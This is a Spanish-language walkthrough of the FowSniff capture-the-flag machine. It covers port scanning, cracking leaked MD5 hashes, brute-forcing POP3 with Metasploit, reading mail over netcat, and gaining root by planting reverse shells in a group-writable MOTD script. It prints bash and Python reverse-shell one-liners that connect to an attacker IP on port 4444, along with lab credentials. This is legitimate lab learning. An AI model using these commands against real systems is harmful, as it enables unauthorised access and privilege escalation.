Vamos con la resolución de un CTF de nivel fácil, a ver qué tal se da.

Tarea 1. Hackea a la organización FowSniff

En esta máquina vamos a tener que enumerar y encontrar puertos abiertos, investigar online, decodificar hashes, hacer fuerza bruta en una autenticación pop3 y más.

Usando nmap, escaneamos la máquina, ¿cuántos puertos hay abiertos? (Uso Rust Scan por lo de la rapidez).

rustscan -a -- -A

Están abiertos el 22, 80, 110 y 143.

4

Es curioso que no nos pida respuesta en las primeras preguntas. Nos dice que miremos por ahí, a ver qué encontramos. Son el puerto ssh, web, el pop3 y el imap.

En la web informa de que ha habido una exposición de usuarios y contraseñas de empleados. Que en la cuenta de Twitter, también hackeada puede haber información sensible.

También nos pide que busquemos en Google, concretamente nos dirige en la pista a Pastebin.

Buscando en Google «Pastebin Fowsniff» nos aparecen usuarios de email y contraseñas hasheadas. Dice también que han dejado expuesto el servidor pop3 también.

En Twitter está el enlace a Pastebin, también que el administrador de redes parece ser:

stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd

Nos pide ahora que decodifiquemos los hashes MD5. Podemos usar incluso sitios como hashkiller, aunque hay que crear usuario. Mejor uso crackstation y salen todos los hashes menos precisamente el de stone.

Trato de romper ese con Hashcat.

echo "a92b8a29ef1183192e3d35187e0cfabd" > hash.txt
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
  • -m 0 significa modo MD5.
  • -a 0 significa ataque de diccionario.
  • hash.txt es el archivo con el hash que hemos creado.
  • rockyou.txt es la lista de palabras clave a probar.

Pero nos da resultado exhausted y no nos saca nada. Pues vaya.

Usando los nombres de usuario y contraseñas, nos pide que usemos Metasploit para hacer fuerza bruta a la autenticación pop3.

Nos indica que hay un paquete auxiliary/scanner/pop3/pop3_login donde podemos introducir esos usuarios y contraseñas para hacer esa fuerza bruta.

sudo msfconsole
search pop3 # Buscamos dentro de Metasploit
use auxiliary/scanner/pop3/pop3_login
show options

Viendo las opciones, se puede configurar un archivo de usuarios que probar y otro de contraseñas, así que creo esos dos archivos con los nombres de usuarios conseguidos y las contraseñas.

Comenzamos a configurar las opciones del módulo auxiliar de Metasploit.

set RHOSTS IP_Objetivo
set USER_FILE ~/Desktop/user.txt
set PASS_FILE ~/Desktop/pass.txt
set STOP_ON_SUCCESS true

Y tenemos un éxito con el usuario seina y la contraseña scoobydoo2.

¿Cuál es la contraseña de Seina para el servicio de email?

scoobydoo2

Ahora nos pide que conectemos al servidor de pop3 con Netcat para ver qué información podemos conseguir. Lo hacemos con:

nc IP_Objetivo 110
user seina
pass scoobydoo2
list # Vemos lista de mensajes, nos salen el 1 y el 2
retr 1 # Leemos el 1
retr 2 # Leemos el 2
quit
exit

En el mensaje 1 nos habla de la contraseña provisional de acceso a SSH.

Es lo que nos pregunta a continuación:

S1ck3nBluff+secureshell

El mensaje 2 es de baksteen, que dice que ya leerá el mensaje luego. Eso nos indica que la contraseña temporal debe estar vigente para él.

Ahora tenemos que conectar usando esa contraseña y el usaurio que ha enviado el mensaje, que es stone, el administrador.

ssh baksteen@IP_Objetivo

Ahora miramos a qué grupo de usuarios pertenece ese usuario y qué archivos interesantes pueden ser ejecutados por ese grupo.

id
find / -type f -group users 2>/dev/null

Encontramos que el primero es /opt/cube/cube.sh así que lo examinamos.

Simplemente imprime un banner de bienvenida cuando te conectas por ssh y llama al comando printf. Como ese archivo lo puede editar el grupo, hay que editarlo para conseguir una shell inversa.

Nos propone la de Python, pero meh, voy a probar una sencilla de bash.

bash -i >& /dev/tcp/IP_Ataque/4444 0>&1

Este archivo se ejecuta como administrador cuando alguien se conecta por ssh. Lo podemos ver echando un vistazo a /etc/update-motd.d/, allí vemos el archivo 00-header que pertenece a root y ejecuta cube.sh.

Antes de volver a entrar por ssh, configuro un escuchador Netcat en el puerto 4444.

nc -lvnp 4444

Sin embargo, no funciona la shell inversa que he puesto. Me sale un error bad fd number porque la sintaxis de sh no soporta >&. Maravilloso.

/bin/bash -l > /dev/tcp/IP_Ataque/4444 0<&1 2>&1

Pero tampoco va porque no existe /dev/tcp. Al final voy a tener que poner en /opt/cube/cube.sh la shell en Python que me especifican.

Mejor esta de Payload all the things.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_Ataque",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Salgo y me identifico de nuevo por ssh. Ya tengo consola de administrador en mi escuchador Netcat y leo la bandera.

cd /root
cat flag.txt